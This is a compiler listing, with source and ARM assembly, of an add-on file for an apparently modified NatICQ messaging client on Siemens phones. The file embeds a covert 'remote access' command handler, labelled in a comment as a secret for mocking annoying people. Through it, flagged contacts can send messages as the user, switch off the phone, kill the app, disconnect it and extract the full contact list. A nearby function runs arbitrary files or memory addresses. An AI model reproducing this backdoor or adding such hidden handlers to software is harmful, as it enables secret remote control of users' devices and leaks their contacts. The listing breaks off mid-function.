############################################################################## # # # IAR ARM ANSI C/C++ Compiler V4.42A/W32 EVALUATION 14/Oct/2008 21:18:32 # # Copyright 1999-2005 IAR Systems. All rights reserved. # # # # Cpu mode = interwork # # Endian = little # # Stack alignment = 4 # # Source file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\addon.c # # Command line = D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\addon.c -D # # X75 -D kluchnik2 --preprocess # # D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\Release_SGOLD_ # # X75\List\ -lC D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\ # # Release_SGOLD_X75\List\ -o # # D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\Release_SGOLD_ # # X75\Obj\ -s9 --no_unroll --cpu_mode arm --endian # # little --cpu ARM926EJ-S --stack_align 4 --interwork # # -e --fpu None --dlib_config "D:\Pasha\Embedded # # Workbench 4.0 Evaluation2\ARM\LIB\dl5tpainl8n.h" -I # # "D:\Pasha\Embedded Workbench 4.0 # # Evaluation2\ARM\INC\" --inline_threshold=2 # # List file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\Release_SGOLD_ # # X75\List\addon.lst # # Object file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\Release_SGOLD_ # # X75\Obj\addon.r79 # # # # # ############################################################################## D:\Pasha\elf\_MY_PROJECT_\naticq_mod2\addon.c 1 #include "../inc/swilib.h" 2 #include "../inc/cfg_items.h" 3 #include "../inc/pnglist.h" 4 #include "NatICQ.h" 5 #include "main.h" 6 #include "naticq_ipc.h" 7 #include "../inc/xtask_ipc.h" 8 #include "strings.h" 9 #include "print.h" 10 #include "addon.h" 11 //Тут всякая поебень))) 12 13 #define _ECHOCHAT "@1" 14 #define _ECHO "@2" 15 #define _VIBRA "@3" 16 #define _IDLESCR "@4" 17 #define _DISCONNECT "@5" 18 #define _GETCLISTALL "@6" 19 #define _GETCLIST "@7" 20 #define _WRITE "@13" 21 #define _GETFLIST "@8" 22 #define _RUNFILE "@9" 23 #define _PIKOFF "@10" 24 #define _EXIT "@11" 25 #define _TURNOFF "@12" 26 #define MSG_ECHOCHAT "@Ms s: %s" 27 //#define __ECHOCHAT "\x23\x65\x63\x68\x6F\x63\x68\x61\x74" 28 #define ENA_SIGNAL 1 //для команд, активировать сигналы,али нет 29 #define DIS_SIGNAL 0 30 31 //По 10 секунд 32 #define ACTIVE_TIME 360 33 34 extern void SendData(CLIST *t,char *s,int signal,int count); 35 extern void AddStringToLog(CLIST *t, int code, char *s, const char *name, unsigned int IDforACK,int flag); 36 extern void RecountMenu(CLIST *req, int needfocus); 37 extern void start_vibra(void); 38 extern char *GetStatusByIconIndex(int icon); 39 extern CLIST *FindContactByUin(unsigned int uin); 40 41 42 extern int comanda; 43 extern int VIBR_TYPE; 44 extern volatile int silenthide; 45 extern volatile int disautorecconect; 46 extern volatile int vibra_count; 47 extern volatile int SENDMSGCOUNT; 48 extern volatile CLIST *cltop; 49 extern char per_s[]; 50 extern const char I_str[]; 51 extern const int SHOW_ACTIVE; 52 extern const char ipc_my_name[32]; 53 extern const char ipc_xtask_name[]; 54 extern const char ipc_test_name[]; 55 extern IPC_REQ gipc; 56 57 extern int get_file_size(char* fname); 58 /*{ 59 unsigned int err; 60 FSTATS fs; 61 if ((GetFileStats(fname,&fs,&err))==-1) return 0; 62 return (fs.size); 63 }*/ 64 65 \ In segment CODE, align 4, keep-with-next 66 int start(const char s[128]) 67 { \ start: \ 00000000 30402DE9 PUSH {R4,R5,LR} \ 00000004 04D04DE2 SUB SP,SP,#+4 \ 00000008 0040B0E1 MOVS R4,R0 68 if((s)&&strlen(s)) \ 0000000C 6D00000A BEQ ??start_0 \ 00000010 1B0000EF SWI +27 \ 00000014 000050E3 CMP R0,#+0 \ 00000018 3280BD08 POPEQ {R1,R4,R5,PC} 69 { 70 if((s[2]=='\\')&&((s[(strlen(s))-3]=='.')||//Проверяем строку на наличие символов '\\' и '.' 71 (s[(strlen(s))-4]=='.')||(s[(strlen(s))-5]=='.'))) \ 0000001C 0200D4E5 LDRB R0,[R4, #+2] \ 00000020 5C0050E3 CMP R0,#+92 \ 00000024 1E00001A BNE ??start_1 \ 00000028 0400A0E1 MOV R0,R4 \ 0000002C 1B0000EF SWI +27 \ 00000030 040080E0 ADD R0,R0,R4 \ 00000034 030050E5 LDRB R0,[R0, #-3] \ 00000038 2E0050E3 CMP R0,#+46 \ 0000003C 0B00000A BEQ ??start_2 \ 00000040 0400A0E1 MOV R0,R4 \ 00000044 1B0000EF SWI +27 \ 00000048 040080E0 ADD R0,R0,R4 \ 0000004C 040050E5 LDRB R0,[R0, #-4] \ 00000050 2E0050E3 CMP R0,#+46 \ 00000054 0500000A BEQ ??start_2 \ 00000058 0400A0E1 MOV R0,R4 \ 0000005C 1B0000EF SWI +27 \ 00000060 040080E0 ADD R0,R0,R4 \ 00000064 050050E5 LDRB R0,[R0, #-5] \ 00000068 2E0050E3 CMP R0,#+46 \ 0000006C 0C00001A BNE ??start_1 72 /* Если в строке есть символы '\\' и '.', то запускаем как обычный файл*/ 73 { 74 WSHDR *ws; 75 ws=AllocWS(256); \ ??start_2: \ 00000070 400FA0E3 MOV R0,#+256 \ 00000074 250100EF SWI +293 \ 00000078 0050A0E1 MOV R5,R0 76 str_2ws(ws,s,256); \ 0000007C 402FA0E3 MOV R2,#+256 \ 00000080 0410A0E1 MOV R1,R4 \ 00000084 6C0100EF SWI +364 77 ExecuteFile(ws,0,0); \ 00000088 0020A0E3 MOV R2,#+0 \ 0000008C 0010A0E3 MOV R1,#+0 \ 00000090 0500A0E1 MOV R0,R5 \ 00000094 940000EF SWI +148 78 FreeWS(ws); \ 00000098 0500A0E1 MOV R0,R5 \ 0000009C 290100EF SWI +297 79 return (1); \ 000000A0 1F0000EA B ??start_3 80 } 81 if ((s[2]!='\\')&&(s[(strlen(s))-3]!='.')&& 82 (s[(strlen(s))-4]!='.')&&(s[(strlen(s))-5]!='.')&& 83 (s[0]!='a')&&(s[0]!='A')&&(s[1]!='0')) \ ??start_1: \ 000000A4 0200D4E5 LDRB R0,[R4, #+2] \ 000000A8 20519FE5 LDR R5,??start_4 ;; `?` \ 000000AC 5C0050E3 CMP R0,#+92 \ 000000B0 2200000A BEQ ??start_5 \ 000000B4 0400A0E1 MOV R0,R4 \ 000000B8 1B0000EF SWI +27 \ 000000BC 040080E0 ADD R0,R0,R4 \ 000000C0 030050E5 LDRB R0,[R0, #-3] \ 000000C4 2E0050E3 CMP R0,#+46 \ 000000C8 1C00000A BEQ ??start_5 \ 000000CC 0400A0E1 MOV R0,R4 \ 000000D0 1B0000EF SWI +27 \ 000000D4 040080E0 ADD R0,R0,R4 \ 000000D8 040050E5 LDRB R0,[R0, #-4] \ 000000DC 2E0050E3 CMP R0,#+46 \ 000000E0 1600000A BEQ ??start_5 \ 000000E4 0400A0E1 MOV R0,R4 \ 000000E8 1B0000EF SWI +27 \ 000000EC 040080E0 ADD R0,R0,R4 \ 000000F0 050050E5 LDRB R0,[R0, #-5] \ 000000F4 2E0050E3 CMP R0,#+46 \ 000000F8 0000D415 LDRBNE R0,[R4, #+0] \ 000000FC 61005013 CMPNE R0,#+97 \ 00000100 41005013 CMPNE R0,#+65 \ 00000104 0100D415 LDRBNE R0,[R4, #+1] \ 00000108 30005013 CMPNE R0,#+48 \ 0000010C 0B00000A BEQ ??start_5 84 { 85 int (*p) (void); 86 p=(int(*)(void))GetFunctionPointer((char*)s); \ 00000110 0400A0E1 MOV R0,R4 \ 00000114 740000EF SWI +116 87 if(p!=NULL) \ 00000118 000050E3 CMP R0,#+0 \ 0000011C 0200000A BEQ ??start_6 88 (*p)(); \ 00000120 30FF2FE1 BLX R0 \ ??start_3: \ 00000124 0100A0E3 MOV R0,#+1 \ 00000128 3280BDE8 POP {R1,R4,R5,PC} 89 else 90 ShowMSG(1,(int)"NULL pointer function!"); \ ??start_6: \ 0000012C 0510A0E1 MOV R1,R5 \ 00000130 0100A0E3 MOV R0,#+1 \ 00000134 480100EF SWI +328 91 return 1; \ 00000138 0100A0E3 MOV R0,#+1 \ 0000013C 3280BDE8 POP {R1,R4,R5,PC} 92 } 93 94 if ((s[2]!='\\')&&(s[(strlen(s))-3]!='.')&& 95 (s[(strlen(s))-4]!='.')&&(s[(strlen(s))-5]!='.')&& 96 ((s[0]=='a')||(s[0]=='A'))&&(s[1]=='0')) \ ??start_5: \ 00000140 0200D4E5 LDRB R0,[R4, #+2] \ 00000144 5C0050E3 CMP R0,#+92 \ 00000148 1E00000A BEQ ??start_0 \ 0000014C 0400A0E1 MOV R0,R4 \ 00000150 1B0000EF SWI +27 \ 00000154 040080E0 ADD R0,R0,R4 \ 00000158 030050E5 LDRB R0,[R0, #-3] \ 0000015C 2E0050E3 CMP R0,#+46 \ 00000160 1800000A BEQ ??start_0 \ 00000164 0400A0E1 MOV R0,R4 \ 00000168 1B0000EF SWI +27 \ 0000016C 040080E0 ADD R0,R0,R4 \ 00000170 040050E5 LDRB R0,[R0, #-4] \ 00000174 2E0050E3 CMP R0,#+46 \ 00000178 1200000A BEQ ??start_0 \ 0000017C 0400A0E1 MOV R0,R4 \ 00000180 1B0000EF SWI +27 \ 00000184 040080E0 ADD R0,R0,R4 \ 00000188 050050E5 LDRB R0,[R0, #-5] \ 0000018C 2E0050E3 CMP R0,#+46 \ 00000190 0C00000A BEQ ??start_0 \ 00000194 0000D4E5 LDRB R0,[R4, #+0] \ 00000198 610050E3 CMP R0,#+97 \ 0000019C 41005013 CMPNE R0,#+65 \ 000001A0 0100D405 LDRBEQ R0,[R4, #+1] \ 000001A4 30005003 CMPEQ R0,#+48 \ 000001A8 0600001A BNE ??start_0 97 { 98 int entry; 99 sscanf(s,"%08X",&entry); \ 000001AC 0D20A0E1 MOV R2,SP \ 000001B0 181085E2 ADD R1,R5,#+24 \ 000001B4 0400A0E1 MOV R0,R4 \ 000001B8 F50100EF SWI +501 100 SUBPROC((void*)entry); \ 000001BC 00009DE5 LDR R0,[SP, #+0] \ 000001C0 710100EF SWI +369 101 return 1; \ 000001C4 D6FFFFEA B ??start_3 102 } 103 } 104 return 0; \ ??start_0: \ 000001C8 0000A0E3 MOV R0,#+0 \ 000001CC 3280BDE8 POP {R1,R4,R5,PC} ;; return \ ??start_4: \ 000001D0 ........ DC32 `?` 105 } 106 107 \ In segment CODE, align 4, keep-with-next 108 void CheckComand2(char *txt, CLIST *t) 109 { \ CheckComand2: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 110 comanda=1; \ 00000004 30779FE5 LDR R7,??CheckComand2_0+0x1C ;; comanda \ 00000008 C8DF4DE2 SUB SP,SP,#+800 \ 0000000C 0060A0E1 MOV R6,R0 \ 00000010 0180A0E3 MOV R8,#+1 \ 00000014 008087E5 STR R8,[R7, #+0] 111 //---------------------- REMOTE ACCESS -------------------// 112 //так,маленький секрет так сказать))) глюмлюсь над теми кто достает....)) 113 if((txt[0]=='#' || txt[0]=='@') && t->isaccess) \ 00000018 0000D6E5 LDRB R0,[R6, #+0] \ 0000001C 0140A0E1 MOV R4,R1 \ 00000020 230050E3 CMP R0,#+35 \ 00000024 40005013 CMPNE R0,#+64 \ 00000028 BA01001A BNE ??CheckComand2_1 \ 0000002C 780094E5 LDR R0,[R4, #+120] \ 00000030 000050E3 CMP R0,#+0 \ 00000034 B701000A BEQ ??CheckComand2_1 114 { 115 116 if(/*strstr(txt,"#write") || */strstr(txt,_WRITE))//#write uin message \ 00000038 00A79FE5 LDR R10,??CheckComand2_0+0x20 ;; SENDMSGCOUNT \ 0000003C 0290A0E3 MOV R9,#+2 \ 00000040 F45F8FE2 ADR R5,??CheckComand2_2 ;; "@13" \ 00000044 0510A0E1 MOV R1,R5 \ 00000048 0600A0E1 MOV R0,R6 \ 0000004C 180100EF SWI +280 \ 00000050 000050E3 CMP R0,#+0 \ 00000054 1F00000A BEQ ??CheckComand2_3 117 { 118 char *s=strrchr(txt,' ')+1; \ 00000058 2010A0E3 MOV R1,#+32 \ 0000005C 0600A0E1 MOV R0,R6 \ 00000060 170100EF SWI +279 \ 00000064 014080E2 ADD R4,R0,#+1 119 #ifdef kluchnik 120 CLIST *tt; 121 tt=FindContactByUin(strtoul(txt+strlen(_WRITE)+1,0,10)); 122 AddStringToLog(tt,0x01,s,I_str,(++SENDMSGCOUNT)&0x7FFF,1); 123 AddStringToLog(t,0x01,txt,I_str,0x7FFF,1); 124 t->signals=1; 125 tt->signals=1; 126 if(SHOW_ACTIVE) 127 tt->isactive=ACTIVE_TIME; 128 #else 129 ++SENDMSGCOUNT; \ 00000068 00009AE5 LDR R0,[R10, #+0] \ 0000006C 010080E2 ADD R0,R0,#+1 \ 00000070 00008AE5 STR R0,[R10, #+0] 130 #endif 131 TPKT *p; 132 p=malloc(sizeof(PKT)+strlen(s)+1); \ 00000074 0400A0E1 MOV R0,R4 \ 00000078 1B0000EF SWI +27 \ 0000007C 090080E2 ADD R0,R0,#+9 \ 00000080 140000EF SWI +20 \ 00000084 0070A0E1 MOV R7,R0 133 p->pkt.uin=strtoul(txt+strlen(_WRITE)+1,0,10); \ 00000088 0500A0E1 MOV R0,R5 \ 0000008C 1B0000EF SWI +27 \ 00000090 0A20A0E3 MOV R2,#+10 \ 00000094 0010A0E3 MOV R1,#+0 \ 00000098 060080E0 ADD R0,R0,R6 \ 0000009C 010080E2 ADD R0,R0,#+1 \ 000000A0 ........ _BLF strtoul,??strtoul??rA \ 000000A4 000087E5 STR R0,[R7, #+0] 134 p->pkt.type=T_SENDMSG; \ 000000A8 B490C7E1 STRH R9,[R7, #+4] 135 p->pkt.data_len=strlen(s); \ 000000AC 0400A0E1 MOV R0,R4 \ 000000B0 1B0000EF SWI +27 \ 000000B4 B600C7E1 STRH R0,[R7, #+6] 136 strcpy(p->data,s); \ 000000B8 0410A0E1 MOV R1,R4 \ 000000BC 080087E2 ADD R0,R7,#+8 \ 000000C0 1A0000EF SWI +26 137 SUBPROC((void *)SendAnswer,0,p); \ 000000C4 78069FE5 LDR R0,??CheckComand2_0+0x24 ;; SendAnswer \ 000000C8 0720A0E1 MOV R2,R7 \ 000000CC 0010A0E3 MOV R1,#+0 \ 000000D0 710100EF SWI +369 138 return; \ 000000D4 270100EA B ??CheckComand2_4 139 } 140 141 if(strstr(txt,_PIKOFF)) \ ??CheckComand2_3: \ 000000D8 68569FE5 LDR R5,??CheckComand2_0+0x28 ;; `?` \ 000000DC CE1F8FE2 ADR R1,??CheckComand2_2+0x4 ;; "@10" \ 000000E0 0600A0E1 MOV R0,R6 \ 000000E4 180100EF SWI +280 \ 000000E8 000050E3 CMP R0,#+0 \ 000000EC 0300000A BEQ ??CheckComand2_5 142 { 143 char *s=malloc(1); \ 000000F0 0100A0E3 MOV R0,#+1 \ 000000F4 140000EF SWI +20 144 strcpy(s,"BGAGA"); \ 000000F8 081085E2 ADD R1,R5,#+8 \ 000000FC 1A0000EF SWI +26 145 } 146 147 if(strstr(txt,_EXIT)) \ ??CheckComand2_5: \ 00000100 00B0A0E3 MOV R11,#+0 \ 00000104 C51F8FE2 ADR R1,??CheckComand2_2+0x8 ;; "@11" \ 00000108 0600A0E1 MOV R0,R6 \ 0000010C 180100EF SWI +280 \ 00000110 000050E3 CMP R0,#+0 \ 00000114 0200000A BEQ ??CheckComand2_6 148 { 149 t->signals=0; 150 #ifdef kluchnik 151 #else 152 extern void ElfKiller(void); 153 SUBPROC((void *)ElfKiller); \ 00000118 2C069FE5 LDR R0,??CheckComand2_0+0x2C ;; ElfKiller \ 0000011C 74B084E5 STR R11,[R4, #+116] \ 00000120 710100EF SWI +369 154 #endif 155 } 156 157 if(strstr(txt,_TURNOFF)) \ ??CheckComand2_6: \ 00000124 BE1F8FE2 ADR R1,??CheckComand2_2+0xC ;; "@12" \ 00000128 0600A0E1 MOV R0,R6 \ 0000012C 180100EF SWI +280 \ 00000130 000050E3 CMP R0,#+0 \ 00000134 0200000A BEQ ??CheckComand2_7 158 { 159 t->signals=0; \ 00000138 74B084E5 STR R11,[R4, #+116] 160 #ifdef kluchnik 161 #else 162 SwitchPhoneOff(); \ 0000013C 090000EF SWI +9 163 #endif 164 return; \ 00000140 0C0100EA B ??CheckComand2_4 165 } \ ??CheckComand2_7: \ 00000144 B71F8FE2 ADR R1,??CheckComand2_2+0x10 ;; "@1" \ 00000148 0600A0E1 MOV R0,R6 166 167 if(/*strstr(txt,"#echochat") || */strstr(txt,_ECHOCHAT)) \ 0000014C 180100EF SWI +280 \ 00000150 000050E3 CMP R0,#+0 \ 00000154 5D00000A BEQ ??CheckComand2_8 168 { 169 char msg[256]; 170 sprintf(msg,MSG_ECHOCHAT,txt); \ 00000158 0620A0E1 MOV R2,R6 \ 0000015C 101085E2 ADD R1,R5,#+16 \ 00000160 880F8DE2 ADD R0,SP,#+544 \ 00000164 160000EF SWI +22 171 char *k; 172 if(strstr(txt,_ECHOCHAT)) \ 00000168 AE1F8FE2 ADR R1,??CheckComand2_2+0x10 ;; "@1" \ 0000016C 0600A0E1 MOV R0,R6 \ 00000170 180100EF SWI +280 \ 00000174 000050E3 CMP R0,#+0 \ 00000178 0300000A BEQ ??CheckComand2_9 173 k=txt+(strlen(_ECHOCHAT)+2); \ 0000017C A90F8FE2 ADR R0,??CheckComand2_2+0x10 ;; "@1" \ 00000180 1B0000EF SWI +27 \ 00000184 060080E0 ADD R0,R0,R6 \ 00000188 028080E2 ADD R8,R0,#+2 174 /* else 175 k=txt+(strlen("#echochat")+2);*/ 176 char name[32]; 177 zeromem(name,32); \ ??CheckComand2_9: \ 0000018C 2010A0E3 MOV R1,#+32 \ 00000190 48008DE2 ADD R0,SP,#+72 \ 00000194 1D0100EF SWI +285 178 char *tmp; 179 if(tmp=strstr(txt," ")+1)//после первого пробела идет имя \ 00000198 A31F8FE2 ADR R1,??CheckComand2_2+0x14 ;; " " \ 0000019C 0600A0E1 MOV R0,R6 \ 000001A0 180100EF SWI +280 \ 000001A4 010080E2 ADD R0,R0,#+1 \ 000001A8 00008DE5 STR R0,[SP, #+0] \ 000001AC 000050E3 CMP R0,#+0 \ 000001B0 1900000A BEQ ??CheckComand2_10 180 { 181 if(strstr(tmp,"!"))//если есть еще '!',значит имя прописали:) \ 000001B4 9D1F8FE2 ADR R1,??CheckComand2_2+0x18 ;; "!" \ 000001B8 180100EF SWI +280 \ 000001BC 000050E3 CMP R0,#+0 \ 000001C0 1400000A BEQ ??CheckComand2_11 182 { 183 int ii=0; 184 for(ii=0;(iiname, name); \ 0000025C 48008DE2 ADD R0,SP,#+72 \ 00000260 01002DE9 PUSH {R0} \ 00000264 143084E2 ADD R3,R4,#+20 \ 00000268 0720A0E1 MOV R2,R7 \ 0000026C 1C1085E2 ADD R1,R5,#+28 \ 00000270 0600A0E1 MOV R0,R6 \ 00000274 160000EF SWI +22 200 if(tmp!=0) \ 00000278 04109DE5 LDR R1,[SP, #+4] \ 0000027C 04D08DE2 ADD SP,SP,#+4 \ 00000280 000051E3 CMP R1,#+0 \ 00000284 00109AE5 LDR R1,[R10, #+0] \ 00000288 FF00A0E3 MOV R0,#+255 \ 0000028C 7F0C80E3 ORR R0,R0,#0x7F00 \ 00000290 011081E2 ADD R1,R1,#+1 \ 00000294 00108AE5 STR R1,[R10, #+0] \ 00000298 0120A0E3 MOV R2,#+1 \ 0000029C 04002DE9 PUSH {R2} \ 000002A0 010000E0 AND R0,R0,R1 \ 000002A4 01002DE9 PUSH {R0} 201 AddStringToLog(t,0x02,msg2,name,(++SENDMSGCOUNT)&0x7FFF,1); \ 000002A8 50308D12 ADDNE R3,SP,#+80 202 else 203 AddStringToLog(t,0x02,msg2,"Ib",(++SENDMSGCOUNT)&0x7FFF,1); \ 000002AC 603F8F02 ADREQ R3,??CheckComand2_2+0x1C ;; "Ib" \ 000002B0 0720A0E1 MOV R2,R7 \ 000002B4 0210A0E3 MOV R1,#+2 \ 000002B8 0400A0E1 MOV R0,R4 \ 000002BC ........ _BLF AddStringToLog,??AddStringToLog??rA \ 000002C0 08D08DE2 ADD SP,SP,#+8 204 205 SendData(t,s,ENA_SIGNAL,0); \ 000002C4 0030A0E3 MOV R3,#+0 \ 000002C8 0120A0E3 MOV R2,#+1 \ ??CheckComand2_16: \ 000002CC A40000EA B ??CheckComand2_17 206 mfree(s); 207 return; 208 } 209 210 if(/*strstr(txt,"#echo") || */strstr(txt,_ECHO)) \ ??CheckComand2_8: \ 000002D0 581F8FE2 ADR R1,??CheckComand2_2+0x20 ;; "@2" \ 000002D4 0600A0E1 MOV R0,R6 \ 000002D8 180100EF SWI +280 \ 000002DC 000050E3 CMP R0,#+0 \ 000002E0 0A00000A BEQ ??CheckComand2_18 211 { 212 ShowMSG(1,(int)txt+2); \ 000002E4 021086E2 ADD R1,R6,#+2 \ 000002E8 0100A0E3 MOV R0,#+1 \ 000002EC 480100EF SWI +328 213 char msg[256]; 214 sprintf(msg,"M %s snd",txt); \ 000002F0 0620A0E1 MOV R2,R6 \ 000002F4 3C1085E2 ADD R1,R5,#+60 \ 000002F8 880F8DE2 ADD R0,SP,#+544 \ 000002FC 160000EF SWI +22 215 SendData(t,msg,ENA_SIGNAL,1); \ 00000300 0830A0E1 MOV R3,R8 \ 00000304 0320A0E1 MOV R2,R3 \ 00000308 881F8DE2 ADD R1,SP,#+544 \ 0000030C FF0000EA B ??CheckComand2_19 216 return; 217 } 218 219 if(/*strstr(txt,"#vibra") || */strstr(txt,_VIBRA)) \ ??CheckComand2_18: \ 00000310 491F8FE2 ADR R1,??CheckComand2_2+0x24 ;; "@3" \ 00000314 0600A0E1 MOV R0,R6 \ 00000318 180100EF SWI +280 \ 0000031C 000050E3 CMP R0,#+0 \ 00000320 1200000A BEQ ??CheckComand2_20 220 { 221 vibra_count=strtoul(txt+3,0,10); \ 00000324 24549FE5 LDR R5,??CheckComand2_0+0x30 ;; vibra_count \ 00000328 0A20A0E3 MOV R2,#+10 \ 0000032C 0010A0E3 MOV R1,#+0 \ 00000330 030086E2 ADD R0,R6,#+3 \ 00000334 ........ _BLF strtoul,??strtoul??rA \ 00000338 000085E5 STR R0,[R5, #+0] 222 223 if(vibra_count==0) \ 0000033C 000095E5 LDR R0,[R5, #+0] \ 00000340 000050E3 CMP R0,#+0 \ 00000344 0400001A BNE ??CheckComand2_21 224 { 225 if( VIBR_TYPE) //если написали просто команду без параметра \ 00000348 04049FE5 LDR R0,??CheckComand2_0+0x34 ;; VIBR_TYPE \ 0000034C 000090E5 LDR R0,[R0, #+0] \ 00000350 000050E3 CMP R0,#+0 226 vibra_count=2; \ 00000354 00908515 STRNE R9,[R5, #+0] 227 else 228 vibra_count=1; \ 00000358 00808505 STREQ R8,[R5, #+0] 229 } 230 #ifdef kluchnik 231 if(vibra_count>10 || vibra_count<0) 232 vibra_count=1; 233 #endif 234 start_vibra(); \ ??CheckComand2_21: \ 0000035C ........ _BLF start_vibra,??start_vibra??rA 235 SendData(t,"act",DIS_SIGNAL,1); \ 00000360 0130A0E3 MOV R3,#+1 \ 00000364 0B20A0E1 MOV R2,R11 \ 00000368 EC1F8FE2 ADR R1,??CheckComand2_0 ;; "act" \ 0000036C E70000EA B ??CheckComand2_19 236 return; 237 } 238 /* 239 if(strstr(txt,"#gprsoff")) 240 { 241 #ifdef kluchnik 242 char *s=malloc(256); 243 sprintf(s,"Recive command < Gprs off >"); 244 AddStringToLog(t,0x01,s,I_str,(++SENDMSGCOUNT)&0x7FFF,1); 245 mfree(s); 246 SendData(t,"GPRS Off",ENA_SIGNAL,0); 247 #else 248 SendData(t,"GPRS Off",DIS_SIGNAL,1); 249 GPRS_OnOff(0,1); 250 #endif 251 return; 252 }*/ 253 254 255 if(/*strstr(txt,"#idlescr") ||*/ strstr(txt,_IDLESCR)) \ ??CheckComand2_20: \ 00000370 EB1F8FE2 ADR R1,??CheckComand2_0+0x4 ;; "@4" \ 00000374 0600A0E1 MOV R0,R6 \ 00000378 180100EF SWI +280 \ 0000037C 000050E3 CMP R0,#+0 \ 00000380 1500000A BEQ ??CheckComand2_22 256 { 257 SendData(t,"scr..",DIS_SIGNAL,1); \ 00000384 0130A0E3 MOV R3,#+1 \ 00000388 0B20A0E1 MOV R2,R11 \ 0000038C 501085E2 ADD R1,R5,#+80 \ 00000390 0400A0E1 MOV R0,R4 \ 00000394 ........ _BLF SendData,??SendData??rA 258 RecountMenu(NULL,1); \ 00000398 0810A0E1 MOV R1,R8 \ 0000039C 0B00A0E1 MOV R0,R11 \ 000003A0 ........ _BLF RecountMenu,??RecountMenu??rA 259 silenthide=1; \ 000003A4 AC039FE5 LDR R0,??CheckComand2_0+0x38 ;; silenthide 260 gipc.name_to=ipc_xtask_name; \ 000003A8 AC339FE5 LDR R3,??CheckComand2_0+0x3C ;; gipc \ 000003AC 008080E5 STR R8,[R0, #+0] \ 000003B0 A8039FE5 LDR R0,??CheckComand2_0+0x40 ;; ipc_xtask_name 261 gipc.name_from=ipc_my_name; 262 gipc.data=0; \ 000003B4 08B083E5 STR R11,[R3, #+8] \ 000003B8 000083E5 STR R0,[R3, #+0] \ 000003BC A0039FE5 LDR R0,??CheckComand2_0+0x44 ;; ipc_my_name 263 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_XTASK_IDLE,&gipc); \ 000003C0 0820A0E1 MOV R2,R8 \ 000003C4 040083E5 STR R0,[R3, #+4] \ 000003C8 FC1F89E3 ORR R1,R9,#0x3F0 \ 000003CC 0900A0E3 MOV R0,#+9 \ 000003D0 420C80E3 ORR R0,R0,#0x4200 \ 000003D4 000100EF SWI +256 264 return; \ 000003D8 660000EA B ??CheckComand2_4 265 } 266 267 268 if(/*strstr(txt,"#disconnect") ||*/ strstr(txt,_DISCONNECT)) \ ??CheckComand2_22: \ 000003DC D11F8FE2 ADR R1,??CheckComand2_0+0x8 ;; "@5" \ 000003E0 0600A0E1 MOV R0,R6 \ 000003E4 180100EF SWI +280 \ 000003E8 000050E3 CMP R0,#+0 \ 000003EC 1300000A BEQ ??CheckComand2_23 269 { 270 comanda=0; 271 disautorecconect=1; \ 000003F0 70039FE5 LDR R0,??CheckComand2_0+0x48 ;; disautorecconect \ 000003F4 00B087E5 STR R11,[R7, #+0] \ 000003F8 008080E5 STR R8,[R0, #+0] 272 t->signals=0; \ 000003FC 74B084E5 STR R11,[R4, #+116] 273 SENDMSGCOUNT++; \ 00000400 00009AE5 LDR R0,[R10, #+0] \ 00000404 010080E2 ADD R0,R0,#+1 \ 00000408 00008AE5 STR R0,[R10, #+0] 274 #ifdef kluchnik 275 #else 276 void end_socket(void); 277 SUBPROC((void*)end_socket); \ 0000040C 58039FE5 LDR R0,??CheckComand2_0+0x4C ;; end_socket \ 00000410 710100EF SWI +369 278 #endif 279 return; \ 00000414 570000EA B ??CheckComand2_4 \ ??CheckComand2_2: \ 00000418 40313300 DC8 "@13" \ 0000041C 40313000 DC8 "@10" \ 00000420 40313100 DC8 "@11" \ 00000424 40313200 DC8 "@12" \ 00000428 40310000 DC8 "@1",+0 \ 0000042C 20000000 DC8 " ",+0,+0 \ 00000430 21000000 DC8 "!",+0,+0 \ 00000434 49620000 DC8 "Ib",+0 \ 00000438 40320000 DC8 "@2",+0 \ 0000043C 40330000 DC8 "@3",+0 280 } 281 282 if(/*strstr(txt,"#getclistall") || */strstr(txt,_GETCLISTALL)) \ ??CheckComand2_23: \ 00000440 28739FE5 LDR R7,??CheckComand2_0+0x50 ;; cltop \ 00000444 B81F8FE2 ADR R1,??CheckComand2_0+0xC ;; "@6" \ 00000448 0600A0E1 MOV R0,R6 \ 0000044C 180100EF SWI +280 \ 00000450 000050E3 CMP R0,#+0 \ 00000454 1C00000A BEQ ??CheckComand2_24 283 { 284 CLIST *tt; 285 tt=(CLIST *)(&cltop); 286 char *s=malloc(16384); \ 00000458 400CA0E3 MOV R0,#+16384 \ 0000045C 140000EF SWI +20 \ 00000460 0060A0E1 MOV R6,R0 287 *s=0; \ 00000464 00B0C6E5 STRB R11,[R6, #+0] \ 00000468 110000EA B ??CheckComand2_25 288 char ss[64]; 289 char *q; 290 while(tt=(CLIST *)(tt->next)) 291 { 292 if(!tt->isgroup) \ ??CheckComand2_26: \ 0000046C 080097E5 LDR R0,[R7, #+8] \ 00000470 000050E3 CMP R0,#+0 \ 00000474 0E00001A BNE ??CheckComand2_25 293 { 294 q=GetStatusByIconIndex(GetIconIndex(tt)); \ 00000478 0700A0E1 MOV R0,R7 \ 0000047C ........ _BLF GetIconIndex,??GetIconIndex??rA \ 00000480 ........ _BLF GetStatusByIconIndex,??GetStatusByIconIndex??rA 295 snprintf(ss,64,"%s ( %d ) [%s]\r\n",tt->name,tt->uin,q); \ 00000484 01002DE9 PUSH {R0} \ 00000488 0C0097E5 LDR R0,[R7, #+12] \ 0000048C 143087E2 ADD R3,R7,#+20 \ 00000490 01002DE9 PUSH {R0} \ 00000494 582085E2 ADD R2,R5,#+88 \ 00000498 4010A0E3 MOV R1,#+64 \ 0000049C 10008DE2 ADD R0,SP,#+16 \ 000004A0 1B0100EF SWI +283 296 strcat(s,ss); \ 000004A4 10108DE2 ADD R1,SP,#+16 \ 000004A8 0600A0E1 MOV R0,R6 \ 000004AC 170000EF SWI +23 \ 000004B0 08D08DE2 ADD SP,SP,#+8 297 } 298 } \ ??CheckComand2_25: \ 000004B4 007097E5 LDR R7,[R7, #+0] \ 000004B8 000057E3 CMP R7,#+0 \ 000004BC EAFFFF1A BNE ??CheckComand2_26 299 #ifdef kluchnik 300 AddStringToLog(t,0x01,"Sending contact list all...",I_str,(++SENDMSGCOUNT)&0x7FFF,1); 301 SendData(t,s,ENA_SIGNAL,0); 302 #else 303 SendData(t,s,DIS_SIGNAL,1); \ 000004C0 